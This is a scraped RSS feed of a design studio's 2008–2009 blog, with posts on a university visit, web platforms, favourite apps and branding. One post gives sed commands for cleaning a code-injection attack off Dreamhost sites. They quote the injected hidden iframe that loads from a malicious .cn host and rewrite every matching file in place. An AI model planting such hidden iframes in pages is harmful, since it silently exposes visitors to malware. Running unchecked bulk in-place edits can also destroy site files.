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NetBramha Studios http://www.netbramha.com NetBramha Studios is a Brand and Web Design studio. Mon, 27 Apr 2009 18:35:28 +0000 http://wordpress.org/?v=2.6.1 en The German Connection! http://www.netbramha.com/2009/04/the-german-connection/ http://www.netbramha.com/2009/04/the-german-connection/#comments Mon, 27 Apr 2009 18:23:13 +0000 Aashish http://www.netbramha.com/?p=612 On March 25th last month we had group of 13 students, 2 PhD students, 2 Professors and a program co-ordinator visit us from University Erlangen-Nuremberg, Germany.

Wonder why? Well they were all part of the International Business and were on a study tour to India. Luckily they visited SAP Lab (an MNC) and then us (a startup). They were here to study the emerging markets.. which better place than India.

Thanks to Eric (from Hub.in) who referred Netbramha to Carina (program co-ordinator) to have the “German Contigent” come over and see how really a startup works, what challenges we face etc.

So here there were at 4ish in the afternoon… We had them settle down on available chair / desks and the rest of them continued to stand. The students asked quite a lot of questions ranging from how we marketed to how being in a startup affected social life. I was impressed with the enthusiasm they had for starting up and learning the way business in India worked.

The professors were super cool and seemed part of the party. On a serious note they inquired if Indian Govt had special reforms/support systems for startups and entreprenuers. Honestly I never felt so. We still pay same taxes, lengthy registeration procedures.. blah blah..

I did speak about LetsOlla.com to them and they liked the funda of sharing and exchanging things.

Overall it was a really memorable experience.

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Quick fix for code inject attack on Dreamhost Servers! http://www.netbramha.com/2009/01/quick-fix-for-code-inject-attack-on-dreamhost-servers/ http://www.netbramha.com/2009/01/quick-fix-for-code-inject-attack-on-dreamhost-servers/#comments Thu, 08 Jan 2009 17:34:18 +0000 Saneef http://www.netbramha.com/?p=559 Today evening some of the Dreamhost servers (also one of our client’s) where attacked by some unknown hackers. One line of code where injected to index.php, index.html etc, which will takedown the site.

Here is a quick fix for it. Run these two commands in bash shell of your Dreamhost server. They will remove the injected code from the files.

sed -i 's/<html><body><iframe src=\"http:\/\/litedownloadseek.cn\/in.cgi?cocacola7\" width=1 height=1 style=\"visibility: hidden\"><\/iframe><\/body><\/html>//g' `grep "litedownloadseek" * -r -l`
sed -i 's/<iframe src=\"http:\/\/litedownloadseek.cn\/in.cgi?cocacola7\" width=1 height=1 style=\"visibility: hidden\"><\/iframe>//g' `grep "litedownloadseek" * -r -l`

Disclaimer: Use at your own risk! But this worked for us! :)

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NetBramha wishes you all a rocking 2009! http://www.netbramha.com/2009/01/netbramha-wishes-you-all-a-rocking-2009/ http://www.netbramha.com/2009/01/netbramha-wishes-you-all-a-rocking-2009/#comments Thu, 01 Jan 2009 07:12:23 +0000 Aashish http://www.netbramha.com/?p=553

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5 Platforms a newbee (or pro) Designer should use to develop sites! http://www.netbramha.com/2008/11/5-platforms-a-newbee-or-pro-designer-should-use-to-develop-sites/ http://www.netbramha.com/2008/11/5-platforms-a-newbee-or-pro-designer-should-use-to-develop-sites/#comments Sat, 22 Nov 2008 18:41:43 +0000 Aashish http://www.netbramha.com/?p=531 Designers love creating things. And especially web artists are found marveling at designs and interfaces. But how can these newbee designers potentially develop sites along with designing them.

BTW designers can check out the Jacob Cass’s $11,000 Writing Project here. We are one of the sponsors!

A lot of designers are confused with all the options available today in the web world. Different projects have different requirement, based on the requirement the designer can choose the following.

1. Simple Corporate/Personal Sites:

This is the first level of sites that you design and build. Usually 5-7 pager site. To keep it simple do regular htmls and apply design. No complex things to do. Nothing to worry here.
Best use: Text Editors/DreamWeaver/CSS editor. Tutorials here, here and here.

2. Medium Sized Websites ( 10+ pages )

If requirement is more than 10 pages go for a CMS. A Content Management System is very much recommended. There are tons of CMS systems available. Pick the simplest.  Drupal is great and simple. For more functionality and feature set you can give Joomla a try. It has a much improved documentation and support now. Another brilliant CMS is Expression Engine. Elegant but is a paid CMS.

3. For Blog Designs

For blog designs I strongly recommend Wordpress. The number of plugins/features and support it offers, it simply beats the nearest competitor flat out. Designing a theme for wordpress may require you to know a bit about its architecture. Other options could be Typepad & Movabletype.

4. For E-Commerce Portals.

Gone are the days of OSCommerce and dull looking commerce sites. Move to Magento or Shopify today. They are the slickest open source paltforms available for e-commerce today. Magento has a huge feature list and is ver very exhaustive. Shopify is simple and smaller carts can easily do with it.

5. For Web Apps and Big Portals

This is the last leg of development you can get into. Use a php framework if you need to build a site that has n number of pages and serves 1000’s or millions of users. CakePHP, CodeIgnitor and Symphony rock. Stick to any one of these. You will need to hone your coding and php skills before you even think of jumping into these platforms. You can find a comparison here

These are some very best of the web solutions. A lot more are available for enterprises, crm’s or custom applications. Will share more in the coming posts.

Stay tuned!

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8 & 1/2 Free Appz I can’t Live Without http://www.netbramha.com/2008/11/8-12-free-appz-i-cant-live-without/ http://www.netbramha.com/2008/11/8-12-free-appz-i-cant-live-without/#comments Tue, 11 Nov 2008 05:42:43 +0000 Saneef http://www.netbramha.com/?p=466 My laptop is my best bud! Designing @ NetBramha, I spend most of my time on my laptop. I aslo use it for listening to music, gaming, managing my iPod, catching up with my friends around the world and lots more…In fact I can confess that i am addicted to my Laptop, and these 8 & 1/2 applications makes it even more irresistible… Well these are some of the applications I can’t live without

1.Launchy:

I rarely touch mouse while navigating in Windows. Thanks to the Lauchy Opensource Keystroke launcher. With this you can rapidly do tasks like launching applications, running scripts, use as a calculator, … many more can be added by adding more plugins.

http://www.launchy.net

2. Digsby:

Gtalk + Yahoo… + LinkedIn + twitter I’m happy to have everything in a single App.
I know this came very recently and I lived through the age before that. But since I came across this superb piece of software, I can’t live without it anymore! :D

http://www.digsby.com

3. muCommander:

A good replacement to the famous Total Commander which was unfortunately a paid software. muCommander is a lightweight cross-platform file manager, with features like support of FTP, SFTP….. Full keyboard access, in-built support for Archive files like ZIP, RAR, GZIP….. & many many more.

http://www.mucommander.com

4. Firebug:

Its an addon to the Firefox. Just a keystroke away, with this you can inspect and edit live HTML pages, tweak CSS to perfection, debug JavaScript, monitor Network activity and the list goes on. A must tool for a web developer.

http://addons.mozilla.org/en-US/firefox/addon/1843

5. Kuler:

A great place to get color inspirations and even a great place to store your own color palettes privately or publicly. You can make color palettes from a base color or from a image(This feature I LOVE VERY MUCH!).

http://kuler.adobe.com

6. Gvim


I know there are hundreds of editors out there. But I some how got stuck on this brilliant editor!!!!

Vim is a highly configurable text editor built to enable efficient text editing. Vim is often called a “programmer’s editor,” and so useful for programming that many consider it an entire IDE. It’s not just for programmers, though. Vim is perfect for all kinds of text editing, from composing email to editing and configuration of files. (Source: About @ Vim.org )

http://www.vim.org

7. Cygwin


Earlier I really missed the commands like ls, Grep, diff, sed…. in Windows. but with Cygwin you can get all those super duper commands and other Unix tools in Windows. In windows it is very difficult to do tasks like cleaning up. svn folders from a project before deploying to production server. With Cygwin you can do this with just one line of code :)

http://www.cygwin.com

8 & 1/2. Dropbox

It’s a simple online file sharing/synchronizing app packed with features like automatic syncing, upload when internet is inactive,… and other cool features. With the free account you can share up to 2GB of data.

http://www.getdropbox.com

uTorrent, puTTy, Filezilla, Kmplayer… are again cool & useful free tools which I use everyday. But are replacable and I can handle my life with out them. ;)

So that was a small list of must have’s.

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Happy Diwali! http://www.netbramha.com/2008/10/happy-diwali/ http://www.netbramha.com/2008/10/happy-diwali/#comments Mon, 27 Oct 2008 07:44:17 +0000 Aashish http://www.netbramha.com/?p=470 NetBramha wishes all its viewers / clients / family & friends a very very joyous and prosperous diwali. May this year ring in surprises, joy, happiness and well being.

While we re-affirm our committment to our work, as a small token of gratitute we present the ‘NetBramha Diyas’ to our clients and loved ones! If you have not got it ask for one today! :)

Happy Diwali From Team NetBramha

Happy Diwali From Team NetBramha

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Brands in an Urban Indian Day http://www.netbramha.com/2008/09/brands-in-an-urban-indian-day/ http://www.netbramha.com/2008/09/brands-in-an-urban-indian-day/#comments Tue, 30 Sep 2008 18:17:12 +0000 admin http://www.blog.netbramha.com/?p=112 To be associated with branding I had to do an exercise to think of an Indian consumer’s normal day when I gave it a thought this was the picture I got

07.00 a.m alarmTurns off the alarm clock

07.10 a.m dental care Brushes his teeth

07.15 a.m TeaTime Hurries for his cup of tea reads his paper

07.45 a.m gillette Gets a clean shave

08.00 a.m cinthol Takes a quick shower

08.15 a.m bryl Sets his hair

08.20 a.m axe Sprays extensively

08.30 a.m look Completes the look

09.00 a.m hyundai Zip drives to work

09.15 a.m fuel Stops for petrol

09.45a.m sony Turns on radio to pass through the traffic nuisance

10.30 a.m hp Starts work on his p.c

12.30 p.m cricket Browses on the net to get a break

01.00 p.m pepsiGrabs a can from the vending machine at work

02.30 p.m lunchHas a wholesome lunch

04.00 p.m nokia Playing on his phone

05.00 p.m gtalk Catches up with friends online

07.30 p.m coffee Hangs out with friends

08.30 p.m tv Watching sports channel at home

12.00 am kurlon Hits the bed.

There are many more brands that I haven’t mentioned on the list. How many of these brands do we want to be identified with? How important is it for a start up company to brand themselves to be able to fit into the consumer’s routine? What is the role of the designer to make this happen? It’s not just the right way of branding that will lead to success in the market, with the right branding only half the battle is won delivering the quality is also equally important. Achieving this is a huge challenge…. For a matter of fact there are a number of brands we use, we are surrounded with…Given a moment to think of all the brands we are associated with in just a day, the number is really huge… How often does anybody give a moment to think about this?  So give it a thought and give us a number!!!! I am sure you will be as surprised as I was when I took up this exercise.

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New Design! http://www.netbramha.com/2008/09/site-newdesign/ http://www.netbramha.com/2008/09/site-newdesign/#comments Sun, 07 Sep 2008 13:16:03 +0000 admin http://www.blog.netbramha.com/?p=1 Yipee. We have finally rolled out our version 0.4 website for NetBramha Studios. We love wordpress and have built our site on it! We shall share our thoughts, design articles and portfolio in the days to come.

Do let us know what you think about the design. After-all it’s you who let us be us!

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